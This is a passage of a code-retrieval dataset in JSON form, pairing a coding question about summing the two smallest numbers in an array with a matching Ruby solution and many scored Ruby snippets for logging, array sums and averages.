"title": ""
},
{
"docid": "0ffa348af24bfda92cbd95fc3b21beb5",
"score": "0.6158146",
"text": "def logger(text)\n File.open(self.log_path, 'a+') { |f| f.puts(text) }\n end",
"title": ""
},
{
"docid": "2a4241bd15fb6b535d4ec68407cb6cc7",
"score": "0.6149637",
"text": "def log message\n File.open('./log.txt','a'){|f| f.write \"#{message}\\n\"}\nend",
"title": ""
},
{
"docid": "2c9b0cf46b6cd13fd8449fb7b1863126",
"score": "0.61415476",
"text": "def puts(message) @writer.puts(message); end",
"title": ""
},
{
"docid": "76f36376f8c19f4e12c20b192afa4d83",
"score": "0.61373353",
"text": "def log(message)\n $stderr.puts message\n end",
"title": ""
},
{
"docid": "6e42b4481ca261c35e2d07ac6e70cd6f",
"score": "0.6121235",
"text": "def log(message, is_active_email)\n is_active_email ? path = @@DIR_TRACKB_LOG : path = @@DIR_DOWNB_LOG\n self.open_file(path)\n @file.puts \"#{message}\"\n self.close_file\n end",
"title": ""
},
{
"docid": "a11af709c3c28bd9a13929d135b73304",
"score": "0.6115854",
"text": "def writeline(msg)\n @output.write(\"%s\\n\" % msg)\n end",
"title": ""
},
{
"docid": "df02a8deb8f7d23a230447dbcab99b23",
"score": "0.60955125",
"text": "def stdout(message)\n puts message if verbose?\n end",
"title": ""
},
{
"docid": "4e874f55d97a02812679c121484f2628",
"score": "0.6089443",
"text": "def write_log(message)\n\t\tfile = File.open(@branch_dir + '/log.txt', 'a')\n\t\tfile.write(message)\n\t\tfile.close\n\tend",
"title": ""
},
{
"docid": "873060cc86405a36ccaf6e6663ae4eea",
"score": "0.6088092",
"text": "def puts(message)\n @out.puts ''\n @out.puts message\n end",
"title": ""
},
{
"docid": "d15323cfae928a7336a8d0fde045af13",
"score": "0.6070509",
"text": "def puts_and_write_to_file(output)\n\t\tputs output\n \t\t@log.debug(output)\n\tend",
"title": ""
},
{
"docid": "9c0dc99985269012bbf0a9663198a0ac",
"score": "0.6062766",
"text": "def log(msg)\n $stderr.puts msg\n end",
"title": ""
},
{
"docid": "9268c41f4f324f4d7577af379ae48f0b",
"score": "0.60527796",
"text": "def my_debug(msg)\n File.open(Debug_File, 'a') { |file|\n file << msg.to_s\n file << \"\\n\"\n }\n end",
"title": ""
},
{
"docid": "1061a483f49cb17bb90e925c81598ed6",
"score": "0.6050876",
"text": "def print(message)\n @out.print '.'\n end",
"title": ""
},
{
"docid": "42c116f34f1b5eb753ba0b72fccdcedf",
"score": "0.60457134",
"text": "def write_to_log(level, message)\n\t\t\t\tputs \"[#{timestamp}] #{level}: #{message.to_s}\"\n\t\t\tend",
"title": ""
},
{
"docid": "e137d7e0c96c6093f3531e7b256d8412",
"score": "0.60361207",
"text": "def log(message)\n unless $logfile\n return\n end\n open($logfile, 'a') { |f|\n f.puts message\n }\nend",
"title": ""
},
{
"docid": "ff6c8c0dfec34f29a1005472661ff2aa",
"score": "0.60253",
"text": "def log_something wat\n @f.puts wat\n @f.close\n end",
"title": ""
},
{
"docid": "4ab4e48a621f50c0d376ad928c69b0f3",
"score": "0.6023558",
"text": "def log (text)\n @log_file.puts \"#{Time.new.to_s} #{text}\"\n @log_file.flush\nend",
"title": ""
},
{
"docid": "1644bbdd4377ff008d7c3ffa651c24ec",
"score": "0.5996318",
"text": "def write(msg)\n add(Logger::INFO, msg)\n end",
"title": ""
},
{
"docid": "621635e3bb005371cdc7219fbcc200fb",
"score": "0.5994711",
"text": "def log(msg)\n $stdout.puts msg if @debug\n end",
"title": ""
},
{
"docid": "478ce2a04f8ea7424632ff46c5411040",
"score": "0.5987826",
"text": "def print(message) @writer.print(message); end",
"title": ""
},
{
"docid": "766bd9833ed4f9cd893a528f356edfbd",
"score": "0.5977106",
"text": "def log(message)\n STDOUT.printf \"[%d] %s - %s\\n\", Process.pid, Time.now.strftime(\"%H:%M:%S\"), message\n STDOUT.flush\n end",
"title": ""
},
{
"docid": "c1e577fc1ee49e72cfc31d29813a329e",
"score": "0.59764266",
"text": "def info(message)\n @out_logger.info(message + ANSI.clear_eol)\n @file_logger.info(message)\n end",
"title": ""
},
{
"docid": "51ae42562ad56491f556457d9c77db3c",
"score": "0.59738475",
"text": "def log(message)\n STDOUT.puts message\nend",
"title": ""
},
{
"docid": "51ae42562ad56491f556457d9c77db3c",
"score": "0.59738475",
"text": "def log(message)\n STDOUT.puts message\nend",
"title": ""
},
{
"docid": "51ae42562ad56491f556457d9c77db3c",
"score": "0.59738475",
"text": "def log(message)\n STDOUT.puts message\nend",
"title": ""
},
{
"docid": "908534ba8b56273b7e0ef441f03b7422",
"score": "0.5951383",
"text": "def log(msg)\n puts msg if print?\n end",
"title": ""
},
{
"docid": "11735e2806f10e514048a24f81c46377",
"score": "0.59456736",
"text": "def writeline( msg)\n @inout.write(\"%s\\n\" % msg)\n end",
"title": ""
},
{
"docid": "42c0d1e861474a71e84fb6f9b909573a",
"score": "0.59445363",
"text": "def my_debug(msg)\n File.open(Debug_File, \"a\") { |f|\n f << msg.to_s\n f << \"\\n\"\n }\n end",
"title": ""
},
{
"docid": "aee0d1edcb983bccbe999eb972767fef",
"score": "0.5943872",
"text": "def my_debug(msg)\n File.open(Debug_File, \"a\") { |f|\n f << msg.to_s\n f << \"\\n\"\n }\n end",
"title": ""
},
{
"docid": "aee0d1edcb983bccbe999eb972767fef",
"score": "0.5943872",
"text": "def my_debug(msg)\n File.open(Debug_File, \"a\") { |f|\n f << msg.to_s\n f << \"\\n\"\n }\n end",
"title": ""
},
{
"docid": "42c0d1e861474a71e84fb6f9b909573a",
"score": "0.59437495",
"text": "def my_debug(msg)\n File.open(Debug_File, \"a\") { |f|\n f << msg.to_s\n f << \"\\n\"\n }\n end",
"title": ""
},
{
"docid": "42c0d1e861474a71e84fb6f9b909573a",
"score": "0.59437495",
"text": "def my_debug(msg)\n File.open(Debug_File, \"a\") { |f|\n f << msg.to_s\n f << \"\\n\"\n }\n end",
"title": ""
},
{
"docid": "42c0d1e861474a71e84fb6f9b909573a",
"score": "0.59437495",
"text": "def my_debug(msg)\n File.open(Debug_File, \"a\") { |f|\n f << msg.to_s\n f << \"\\n\"\n }\n end",
"title": ""
},
{
"docid": "42c0d1e861474a71e84fb6f9b909573a",
"score": "0.59437495",
"text": "def my_debug(msg)\n File.open(Debug_File, \"a\") { |f|\n f << msg.to_s\n f << \"\\n\"\n }\n end",
"title": ""
},
{
"docid": "13bb13ba26aa79dfb83c8e39e08df2d1",
"score": "0.59437007",
"text": "def log_file\n begin\n File.open(@path, File::WRONLY | File::APPEND | File::CREAT)\n rescue\n STDOUT\n end\n end",
"title": ""
},
{
"docid": "3662c4952c8a9fd9ac570dec5f621ef3",
"score": "0.59425074",
"text": "def print(message)\n return if config.silent?\n begin\n (output_io || STDOUT).print(message)\n rescue Errno::EPIPE\n exit 0\n end\n end",
"title": ""
},
{
"docid": "fb00c9f147dc43fade493069c6ac72d7",
"score": "0.59412163",
"text": "def write(hash, msg)\n file = hash.has_key?(:file) ? \"/\" + hash[:file] : '/log.txt'\n File.open(@log_path + file, 'a') {|f| f.write(msg) }\n end",
"title": ""
},
{
"docid": "2f31d425f35060606681c5ad3b8aed0d",
"score": "0.59370047",
"text": "def <<( msg ) #:nodoc:\n self.logger.write( msg ) if self.logger && self.logger.respond_to?( :write )\n end",
"title": ""
},
{
"docid": "b0bee136985550a81dc19c4402468ee5",
"score": "0.5932077",
"text": "def debug(message='')\n @logfile.write(\"#{Time.now}#{DEBUG}#{message}\\n\")\n @logfile.rewind\n end",
"title": ""
},
{
"docid": "d0cf912f74d035c8c5ef9eebbb900dba",
"score": "0.5927349",
"text": "def redirect_stdout\n redirect_io($stdout, self.log_file)\n redirect_io($stderr, self.log_file)\n end",
"title": ""
},
{
"docid": "5b9ca4a8c69b4f00f594d3ea442ae5bc",
"score": "0.59242743",
"text": "def <<(msg)\n puts msg\n @logdev.write(msg)\n end",
"title": ""
},
{
"docid": "e6eac611e71a915b4c6361713b13dfca",
"score": "0.5911268",
"text": "def log msg\n\tputs \"#{Time.now.strftime('%Y-%m-%d %H:%M:%S.%6N %z')} - #{msg}\"\n\tSTDOUT.flush\nend",
"title": ""
},
{
"docid": "643ffe36e7207c7e9c909dba02df3f81",
"score": "0.5910674",
"text": "def log(text)\n\t\tFile.open(@file_name, \"a\") do |f|\n\t\t\tf.write(text)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "95e9f9ba789dd8f163fddfd21d47af77",
"score": "0.59064126",
"text": "def write message\n @local.write message\n end",
"title": ""
},
{
"docid": "e746a7ba90dbfefe97fe7c14fcf938b4",
"score": "0.59038764",
"text": "def write msg\n @output << msg\n end",
"title": ""
},
{
"docid": "503d0a61a57506ce00a3c9e3b7f478a4",
"score": "0.59021765",
"text": "def redirect_output\n FileUtils.mkdir_p(File.dirname(logfile))\n FileUtils.touch logfile\n File.chmod(0644, logfile)\n $stderr = File.open(logfile, \"a\")\n $stdout = $stderr\n $stdout.sync = $stderr.sync = true\n end",
"title": ""
},
{
"docid": "29048615716684721495b6ac9eeb4eb0",
"score": "0.5900935",
"text": "def out(msg)\n io.print(msg) if io\n end",
"title": ""
},
{
"docid": "ec838a82f4f3a4954797640a2cd96937",
"score": "0.5898427",
"text": "def out(msg)\n io.print(msg) if io\n end",
"title": ""
},
{
"docid": "a8c0957625fce120f965589cdd283e23",
"score": "0.58922166",
"text": "def log(message)\n File.open(\"../status\", \"a\") { |f| f.write(message + \"\\n\") }\nend",
"title": ""
},
{
"docid": "a83d5b4af615034908f4a46b6a6c0679",
"score": "0.5891209",
"text": "def log(message)\n output.print timestamp + ' - ' + message\n end",
"title": ""
},
{
"docid": "b1b30be78bda3450ef1308ff14da6199",
"score": "0.5890054",
"text": "def output(text = \"\")\n @logger.puts text\n @logger.flush\n end",
"title": ""
}
] |
572116cf03e2d5f7ed5be1247ed00c2e | No floats or empty arrays will be passed. For example, when an array is passed like [19, 5, 42, 2, 77], the output should be 7. [10, 343445353, 3453445, 3453545353453] should return 3453455. Hint: Do not modify the original array. | [
{
"docid": "07eacfaa26bee30074c8f20779170df2",
"score": "0.0",
"text": "def sum_two_smallest_numbers(numbers)\n smallest = nil\n second_smallest = nil\n numbers.each do |x|\n if second_smallest == nil || x < second_smallest\n if smallest == nil || x < smallest\n second_smallest = smallest\n smallest = x\n else\n second_smallest = x\n end\n end\n end\n return smallest + second_smallest\nend",
"title": ""
}
] | [
{
"docid": "d750be073ec66321c54f7e44a44f0a61",
"score": "0.67883325",
"text": "def sum_only_numbers(an_array)\n temp = an_array.map {|x| x.is_a?(Numeric) ? x : nil }.compact\n temp.inject(0) {|sum, i|sum + i}\nend",
"title": ""
},
{
"docid": "fc3bf65e225e0bae07c596c5c86c95a6",
"score": "0.66561025",
"text": "def my_method(array)\n if array.empty?\n []\n elsif #array.first.is_a? Integer\n array.map do |value|\n value * value\n end\n else\n [7 * array.first]\n end\nend",
"title": ""
},
{
"docid": "7140a7caf143a0e6f3c7f18a387ee02f",
"score": "0.6580199",
"text": "def sum_only_number(an_array)\n\nif an_array.is_a?(numeric)\ndo\nan_array.inject(0) { |sum, an_array| sum+an_array }\nend\n\nend",
"title": ""
},
{
"docid": "20a23f3291bc0f82bc498c351ad4e6a7",
"score": "0.65701777",
"text": "def array_sum(array)\n if array.length == 1\n array[0]\n else\n array.pop + array_sum(array)\n end\nend",
"title": ""
},
{
"docid": "8139711da8d37e1c881043f33a9c7b9f",
"score": "0.6516181",
"text": "def sum(numbers_array)\n # Base Case: Is the array empty?\n if numbers_array.length == 0\n return 0\n\n # Reduction Case: Shrink the numbers_array to get closer to the base case.\n else\n number = numbers_array.pop # numbers_array is now smaller\n return number + sum(numbers_array)\n end\nend",
"title": ""
},
{
"docid": "45de1ce4e575decb2f09b61be2aeed07",
"score": "0.65143365",
"text": "def sum_only_numbers(an_array)\n # write your code here\nend",
"title": ""
},
{
"docid": "70cfd579e107aca86776b773dc38a6d6",
"score": "0.6480514",
"text": "def numbers(array)\n \tx = array.sort()\n \tx[-1]\nend",
"title": ""
},
{
"docid": "b1ad83d9f3434a8d65cef2ad9f98d3c4",
"score": "0.6460567",
"text": "def sum_array( array )\n array.inject(0) { |result, element| result + element }\nend",
"title": ""
},
{
"docid": "19798dbaf273cf2b47bc8770dd32457c",
"score": "0.643651",
"text": "def sum_only_numbers(an_array)\n a = an_array.grep(Integer)\n b = an_array.grep(Float)\n array_sum = a + b\n array_sum.inject(:+)\nend",
"title": ""
},
{
"docid": "a8c5bc3b8ab0edec33184de82a7a4ddb",
"score": "0.6426453",
"text": "def sum_only_numbers(an_array)\n\t an_array.select{|x| (x.is_a? Numeric)}.inject{|ct,x| ct+x}\nend",
"title": ""
},
{
"docid": "1199f69d204e286dfe6d7e0c8e8522bf",
"score": "0.6403358",
"text": "def up_array(arr)\n #join the array\n #convert to int\n #add 1\n #convert back to string\n #split the string\n #return the new array\n\n if check_for_negatives_and_words(arr) || check_for_size(arr) || check_for_nil(arr)\n nil\n else\n interpret_array(arr)\n end\nend",
"title": ""
},
{
"docid": "37f4a579b56284d33897f3c8d3911b36",
"score": "0.6399231",
"text": "def truncate_array(array); end",
"title": ""
},
{
"docid": "0d19c9a6d545f18eaa0b4cbd2c3cf8f4",
"score": "0.6397975",
"text": "def sum_only_numbers(an_array)\n\tsum = 0;\n\tan_array.each do |element|\n\t\tif element.is_a? Numeric\n\t\t\tsum += element\n\t\tend\n\tend\n\treturn sum\nend",
"title": ""
},
{
"docid": "e6d95016b82b2d7a4b185fb9df5f0749",
"score": "0.63942385",
"text": "def sum_only_numbers(an_array)\n sum = 0\n for item in an_array\n \t if item.is_a?(Integer) || item.is_a?(Float) \n \t\tsum = sum + item\n \t end\n end\t\n sum\t\nend",
"title": ""
},
{
"docid": "a3ccb32defd901df61fab8fe040781bd",
"score": "0.63899904",
"text": "def my_method(array)\n if array.empty?\n []\n elsif array.length > 1\n array.map do |value|\n value * value\n end\n else\n [7 * array.first]\n end\nend",
"title": ""
},
{
"docid": "84d11bbd633db8edb5f613042528ec3f",
"score": "0.63871443",
"text": "def sum_array(array)\n array.inject(0) { |result, element| result + element }\nend",
"title": ""
},
{
"docid": "aea9c66930158117b827a56a341b3626",
"score": "0.638218",
"text": "def sum(array)\n if !array.is_a?(Array)\n return nil\n else \n sum = 0\n array.each do |i|\n sum += i\n end\n return sum\n end\nend",
"title": ""
},
{
"docid": "cc66f0c78067d429fb534e9f7dc5eb74",
"score": "0.637582",
"text": "def sum_only_numbers(an_array)\n\tx = 0\n\tan_array.each do |y|\n\t\tif y.is_a?(Numeric) \n\t\tx = x+y\n\t\tend\n\tend\n\treturn x\nend",
"title": ""
},
{
"docid": "7f2a4219f7adf8e840900265486296ad",
"score": "0.6364626",
"text": "def filter_list(arr)\n\ta = 0\n\tfinal_arr = []\n\twhile a < arr.length\n\tif arr[a].is_a? Numeric\n\t\tfinal_arr << arr[a]\n\tend\n\t\ta += 1\n\tend\n\treturn final_arr\nend",
"title": ""
},
{
"docid": "2d2820dbbc3d8fbec80911141e7f8c4f",
"score": "0.6353772",
"text": "def sum_only_numbers(an_array)\n sum = 0\n an_array.each { |x| sum += x if x.class == Fixnum or x.class == Float}\n return sum\nend",
"title": ""
},
{
"docid": "954bcb6a3a7628323e5f418c6929ab60",
"score": "0.6349652",
"text": "def multiply(array)\n # case when the array is empty > we do nothing\n if array.empty?\n return # we just return here\n # Case when the first element is a number > we dispaly it multiplied by itselfs\n elsif !array[0].is_a? Array\n puts array[0] * array[0]\n multiply(array[1..-1])\n # Case when the first element is an Array > call the method\n else\n multiply(array[0])\n multiply(array[1..-1])\n end\nend",
"title": ""
},
{
"docid": "f2baa6ee0dd9a322d18e85b7b0f67e24",
"score": "0.6347877",
"text": "def sum_array(array)\n array.inject{|sum,x| sum+x}\n # http://stackoverflow.com/questions/1538789/how-to-sum-array-of-numbers-in-ruby\nend",
"title": ""
},
{
"docid": "564969e7bee77c67eafe6859df1264c9",
"score": "0.63373536",
"text": "def flatten_array(array)\n return nil unless array.instance_of?(Array)\n result = []\n array.to_s.tr('[]',\"\").split(\",\").each do |x|\n result << x.to_i\n end\n result\nend",
"title": ""
},
{
"docid": "1a578b09064c6d9ddd54cdaefe3b6adc",
"score": "0.6336063",
"text": "def sum_array(array_of_numbers)\n array_of_numbers.inject(0){|sum,x| sum + x }\nend",
"title": ""
},
{
"docid": "edb558436e86668ccec32fea24f1833d",
"score": "0.6331789",
"text": "def sum_array(array)\n return 0 if array.empty?\n return array.first if array.length == 1\n\n array.shift + sum_array(array)\nend",
"title": ""
},
{
"docid": "2463caa687f6940fc6ec115d4588efb7",
"score": "0.632982",
"text": "def double_array(array)\nend",
"title": ""
},
{
"docid": "d3849e865521a5436513b9fedfd21c49",
"score": "0.63234335",
"text": "def sum_array(array)\r\n array.inject(0){|sum,x| sum + x }\r\nend",
"title": ""
},
{
"docid": "faeddd646c6add7ac6165a877ee97bef",
"score": "0.63218266",
"text": "def missing_num(array)\n # ADD YOUR CODE HERE\nif array==[]||array==[nil]\n return 0\nend\n sum=(array.length+1)*(array.length)/2\n other_array=array.reduce(:+)\n sum-other_array\nend",
"title": ""
},
{
"docid": "59a5c2491f2789f0375bd575248e1c0c",
"score": "0.6316333",
"text": "def sum_array(arr)\n\tarr.inject(0){|sum, x| sum + x }\nend",
"title": ""
},
{
"docid": "cd9add8760eb5c964d05bfb496bdddcd",
"score": "0.63161397",
"text": "def sum_array(array)\n\nend",
"title": ""
},
{
"docid": "baabef157c63def79d04043d29159df8",
"score": "0.6310611",
"text": "def average_of_numbers(array)\n new_array = []\n if array == nil || array.empty?\n return new_array\n end\n (0...array.length - 1).each do |index|\n new_array << (array[index + 1] + array[index]).to_f / 2\n end\n new_array\nend",
"title": ""
},
{
"docid": "683d26e8893e8d3a1c68c8a71443e688",
"score": "0.6306945",
"text": "def sum_only_numbers(an_array)\n\t \t sum=0\n\t an_array.each do |i| \n\t \tif i.is_a?Numeric\n\t \t sum=sum+i\n\t end\n\t end\n\t return sum\nend",
"title": ""
},
{
"docid": "abfa08e73e0e6ae019d4b47ee42da325",
"score": "0.6302519",
"text": "def my_method(array)\n if array.empty?\n []\n elsif array.size > 1\n array.map do |value|\n value * value\n end\n else\n [7 * array.first]\n end\nend",
"title": ""
},
{
"docid": "907d313741761ea37229df0df8c750d9",
"score": "0.63019586",
"text": "def average_of_array(array)\n number = array.length.to_f\n sum = array.inject {|sum, num| sum += num}\n average = sum/number\n return average.round\nend",
"title": ""
},
{
"docid": "abfa08e73e0e6ae019d4b47ee42da325",
"score": "0.6300578",
"text": "def my_method(array)\n if array.empty?\n []\n elsif array.size > 1\n array.map do |value|\n value * value\n end\n else\n [7 * array.first]\n end\nend",
"title": ""
},
{
"docid": "abfa08e73e0e6ae019d4b47ee42da325",
"score": "0.6300578",
"text": "def my_method(array)\n if array.empty?\n []\n elsif array.size > 1\n array.map do |value|\n value * value\n end\n else\n [7 * array.first]\n end\nend",
"title": ""
},
{
"docid": "abfa08e73e0e6ae019d4b47ee42da325",
"score": "0.6300578",
"text": "def my_method(array)\n if array.empty?\n []\n elsif array.size > 1\n array.map do |value|\n value * value\n end\n else\n [7 * array.first]\n end\nend",
"title": ""
},
{
"docid": "469e592073fa631deb2cee08b0d82875",
"score": "0.62999284",
"text": "def from_array(array)\n return nil if array.empty?\n array.flatten[0..1].map(&:to_f)\n end",
"title": ""
},
{
"docid": "c5d18513cd69afb884c0b203085d5db3",
"score": "0.62937057",
"text": "def my_method(array)\n if array.empty?\n []\n elsif array.size == 1\n [7 * array.first]\n else\n array.map do |value|\n value * value\n end\n end\nend",
"title": ""
},
{
"docid": "c5d18513cd69afb884c0b203085d5db3",
"score": "0.62937057",
"text": "def my_method(array)\n if array.empty?\n []\n elsif array.size == 1\n [7 * array.first]\n else\n array.map do |value|\n value * value\n end\n end\nend",
"title": ""
},
{
"docid": "6c394c940b9a112de4abe9a15a719147",
"score": "0.6291459",
"text": "def sum(array)\n array.reduce(0) { |sum, number| sum + number }\nend",
"title": ""
},
{
"docid": "26db4adbd9b045c45c0b348a9e339942",
"score": "0.62680066",
"text": "def array_sum(\n array:\n )\n\tsum = 0\n\t# Calculate sum\n\tarray.collect { |single_num| sum += single_num }\n\t# Return sum\n\tsum\nend",
"title": ""
},
{
"docid": "e1c64dfb18db2a0f3d9c0b05689f30c4",
"score": "0.6267651",
"text": "def average_array(arr)\n sum = arr.reduce {|sum, num| sum + num}\n avg = sum / Float(arr.length)\n avg\n\nend",
"title": ""
},
{
"docid": "78b519b72ac3e52072c89480d8b41b6b",
"score": "0.62595254",
"text": "def sum_only_numbers(an_array)\n an_array = an_array.find_all { |val| val.is_a?(Numeric) }\n an_array.inject(0) { |sum, i| sum+i }\nend",
"title": ""
},
{
"docid": "928cbe8f063ee1b8066dc8e73e7e9d12",
"score": "0.62523925",
"text": "def sum_array(array)\n array.inject(0){|sum,x| sum + x }\n end",
"title": ""
},
{
"docid": "07b793a296a901688e101c37c941e890",
"score": "0.6247556",
"text": "def sum array\n if array == []\n 0\n else array.first + sum(array.drop(1))\n end\nend",
"title": ""
},
{
"docid": "5bebbd84b893c55e8bbb77d1b966e98a",
"score": "0.62466556",
"text": "def sum_array(array)\r\n array.reduce(0, :+)\r\nend",
"title": ""
},
{
"docid": "7c93f5b47c63cb194513a78d63190a3d",
"score": "0.6246569",
"text": "def some_method(array)\n array.compact.inject(0) {|sum, number| sum + number}\nend",
"title": ""
},
{
"docid": "180f72466143781cd39060bf10becf8d",
"score": "0.6246372",
"text": "def missingNumber(array)\n # your magic\nend",
"title": ""
},
{
"docid": "556d263eba8d621bc7b359e0c4c23023",
"score": "0.62446177",
"text": "def sum_array(array)\n sum = 0 \n array.each { |element| sum = sum + element if element.is_a? Integer }\n sum\nend",
"title": ""
},
{
"docid": "1abdfa598050926d7de0facc4b4e3e9d",
"score": "0.62388897",
"text": "def array_sum(array)\nend",
"title": ""
},
{
"docid": "ed7085b24b4e6912d833b9ba5a3a2c05",
"score": "0.623759",
"text": "def array_sum(arr)\n if arr.length == 0 \n return 0\n else\n return arr.reduce(:+)\nend\nend",
"title": ""
},
{
"docid": "08edab92f4c11206d5d888f210f61ed9",
"score": "0.6233141",
"text": "def simpleArraySum(ar)\n ar.inject(0){|sum,x| sum + x }\nend",
"title": ""
},
{
"docid": "460d0baad4622007a6a1d7ebc4ddd608",
"score": "0.62303334",
"text": "def average_of_array(array)\nend",
"title": ""
},
{
"docid": "cba4fe5b8a3cb587e020e4efd785108f",
"score": "0.6227989",
"text": "def is_int_array_alt(arr)\n arr.is_a?(Array) && arr.all? { |e| e.is_a?(Integer) || e.is_a?(Float) && e % 1 == 0}\nend",
"title": ""
},
{
"docid": "f93b6cfa2e22df8cac61062deca3b3a1",
"score": "0.62208325",
"text": "def sum_only_numbers(an_array)\n @sum = 0\n an_array.each do\n |item|\n if item.is_a? Numeric\n @sum+=item\n end\n end\n return @sum\nend",
"title": ""
},
{
"docid": "dcb1b3b5c5276a3ee159725b582512b0",
"score": "0.62188333",
"text": "def sum_array(arr)\n if arr.kind_of?(Array) and arr.length > 2\n arr.inject(:+) - arr.min - arr.max\n else\n 0\n end\nend",
"title": ""
},
{
"docid": "0f26553499411f5db60f747c02fdb299",
"score": "0.6218117",
"text": "def average_array (array)\n return array.sum * 1.0 / array.length * 1.0 \nend",
"title": ""
},
{
"docid": "eb06c300490fd8a20c5077929b059e8e",
"score": "0.6212761",
"text": "def _flatten arr,result = []\n case arr[0].class.to_s\n when 'Array'\n _flatten(arr.shift, result)\n _flatten(arr, result ) unless arr.empty?\n when 'Integer'\n result << arr.shift\n _flatten(arr, result)\n end\n result\nend",
"title": ""
},
{
"docid": "5a25b259cd81c22001162c367be4458f",
"score": "0.6204482",
"text": "def sum! array\n if array == []\n 0\n else array.shift + sum!(array)\n end\nend",
"title": ""
},
{
"docid": "f966ffc921611602329c1730fb30a530",
"score": "0.6204096",
"text": "def array_sum(arr)\n arr.reduce(0) {|acc, el| acc + el}\nend",
"title": ""
},
{
"docid": "9ff4d72d501b7c61764070d1bf63af13",
"score": "0.6202399",
"text": "def find_missing_number(arr)\n raise \"Wrong type of argument\" if !arr.is_a? Array\n # (1..10).each do |item|\n # return item unless arr.include?(item)\n # end\n\n # ((1..10).to_a - arr).join.to_i\n\n 55 - arr.reduce(:+)\nend",
"title": ""
},
{
"docid": "79adaae2f9f9d955c9477928b878c7a2",
"score": "0.62012327",
"text": "def array_sum(arr)\n return 0 if arr.length < 1\n arr.reduce(:+)\nend",
"title": ""
},
{
"docid": "69bf1a29e3b6c8d0b5cb5e455412abe2",
"score": "0.61997044",
"text": "def sum(array)\n if array.length == 1\n return array.first\n else\n item = array.shift\n return item + sum(array)\n end\nend",
"title": ""
},
{
"docid": "1073e8289adfe76366dbc9785d8d3a5b",
"score": "0.61966074",
"text": "def sum_of_arrays_recursive(array)\n if array.length == 1\n array[0]\n else\n array.shift + sum_of_arrays_recursive(array)\n end\nend",
"title": ""
},
{
"docid": "dce5a487d18d5af522adc164da247ab0",
"score": "0.6187936",
"text": "def sum_arr_re(arr)\n return arr.first if arr.length == 1\n return 0 if arr.length == 0\n arr.shift + sum_arr_re(arr)\nend",
"title": ""
},
{
"docid": "a03ec26c644ed0c838d05e6d8c97e883",
"score": "0.6187777",
"text": "def array_sum(array)\r\nend",
"title": ""
},
{
"docid": "28542da104b92b24b995f48f778d05b8",
"score": "0.6187144",
"text": "def sum_array(array)\n array.sum\nend",
"title": ""
},
{
"docid": "28542da104b92b24b995f48f778d05b8",
"score": "0.6187144",
"text": "def sum_array(array)\n array.sum\nend",
"title": ""
},
{
"docid": "d5ac60c42d5d86855e239b2d17fef2d4",
"score": "0.6184038",
"text": "def sum_only_numbers(an_array)\n\n sum = 0\n\n an_array.each { |y| sum+=y if y.is_a?Numeric }\n\n return sum\n end",
"title": ""
},
{
"docid": "4222084a162912699333850ea67bf186",
"score": "0.6182768",
"text": "def sum_array(array)\n array.sum\nend",
"title": ""
},
{
"docid": "2dd20bdb31cb499222ec9e8b5516f57a",
"score": "0.61819094",
"text": "def double_array(array)\n array * 2\nend",
"title": ""
},
{
"docid": "2dd20bdb31cb499222ec9e8b5516f57a",
"score": "0.61819094",
"text": "def double_array(array)\n array * 2\nend",
"title": ""
},
{
"docid": "623aa88b78f6a64b6ed0ddfe847cef90",
"score": "0.6178654",
"text": "def sum_array(array)\n array.inject(0) { |sum, num| sum += num }\nend",
"title": ""
},
{
"docid": "ffa905c42d30442651f3724196196ce5",
"score": "0.6177653",
"text": "def sum_array(arr)\n arr.reduce { |sum, element| sum + element }\nend",
"title": ""
},
{
"docid": "64a6dc97672253b3c4e3f002a20a43f4",
"score": "0.6177198",
"text": "def average_array(arr)\n return arr.sum.to_f/arr.length\nend",
"title": ""
},
{
"docid": "19df95a8fa3c6eae6ab557dcc06de766",
"score": "0.61748683",
"text": "def sum arr\n raise ArgumentError, 'Argument is not array' unless arr.is_a? Array\n return 0 if arr.length ==0 \n arr.reduce(:+)\nend",
"title": ""
},
{
"docid": "01127bb1a78e4fc42a9fd63a57ba65a6",
"score": "0.61738217",
"text": "def sum_array(array)\n array.inject(0) { |sum, n| sum + n}\nend",
"title": ""
},
{
"docid": "d7effd6c4df02602b6e1ca3ba5d1fbc6",
"score": "0.6171225",
"text": "def sum_array(arr)\n\tif arr.kind_of?(Array) and arr.length > 2\n\t\tprint arr.inject(&:+) - arr.min - arr.max\n\telse\n\t\tprint 0\n\tend\nend",
"title": ""
},
{
"docid": "489ef03d62bca6ddcf6ed68655806fd0",
"score": "0.61709154",
"text": "def array_sum(arr)\n return 0 if arr == []\n arr.reduce(:+)\nend",
"title": ""
},
{
"docid": "e6b8f7a4054b40599c7b6def9aa1837e",
"score": "0.616932",
"text": "def average_array(arr)\n arr.sum / arr.length.to_f\nend",
"title": ""
},
{
"docid": "ad669b096dc599b1e05aff9ce9cc6e06",
"score": "0.6166869",
"text": "def sum_array(arr)\n return 0 if arr == nil\n arr.length < 3 ? 0 : arr.sort!.inject(0, :+) - arr[0] - arr[-1]\nend",
"title": ""
},
{
"docid": "1a1e30990434febea4577c0a58571a82",
"score": "0.61634845",
"text": "def sum(arr)\n return arr[0] if arr.length == 1\n return arr[0] + sum(arr.drop(1))\nend",
"title": ""
},
{
"docid": "58dc981be8a4b07de229cf27fe7485ad",
"score": "0.6150092",
"text": "def sum_array(array)\n array_integers = []\n array.each do |item| \n if item.is_a?(Integer)\n array_integers << item\n end\n end\n array_integers.inject {|sum, n| sum + n}\nend",
"title": ""
},
{
"docid": "8b6dde3b6860b45aa7ca3da4989cb004",
"score": "0.6146617",
"text": "def array_sum(arr)\n # if arr.length ==0\n # return 0\n # end\n arr.reduce(0, :+)\nend",
"title": ""
},
{
"docid": "7952f1e62caf493cad8f3fdc5990a1d8",
"score": "0.6145211",
"text": "def average_array ( array )\n array.inject { | first_number, x | first_number + x } / array.length.to_f\nend",
"title": ""
},
{
"docid": "eaee030fc7cb0d036765f6e42d809d93",
"score": "0.61430746",
"text": "def sum_array(elements)\n integer_array = elements.select{|element| element.is_a?(Integer) == true}\n integer_array.inject(0){|sum, x| sum + x}\nend",
"title": ""
},
{
"docid": "05199df429cc1809d56fc903cf2965cd",
"score": "0.6142626",
"text": "def sum_array(array)\n # Fill In\n end",
"title": ""
},
{
"docid": "1d6d1131f8cbf68b41642856a60a9077",
"score": "0.61374545",
"text": "def total_of_array(array)\nend",
"title": ""
},
{
"docid": "8728a93c997bb31c97a077c3d0a6f162",
"score": "0.6135359",
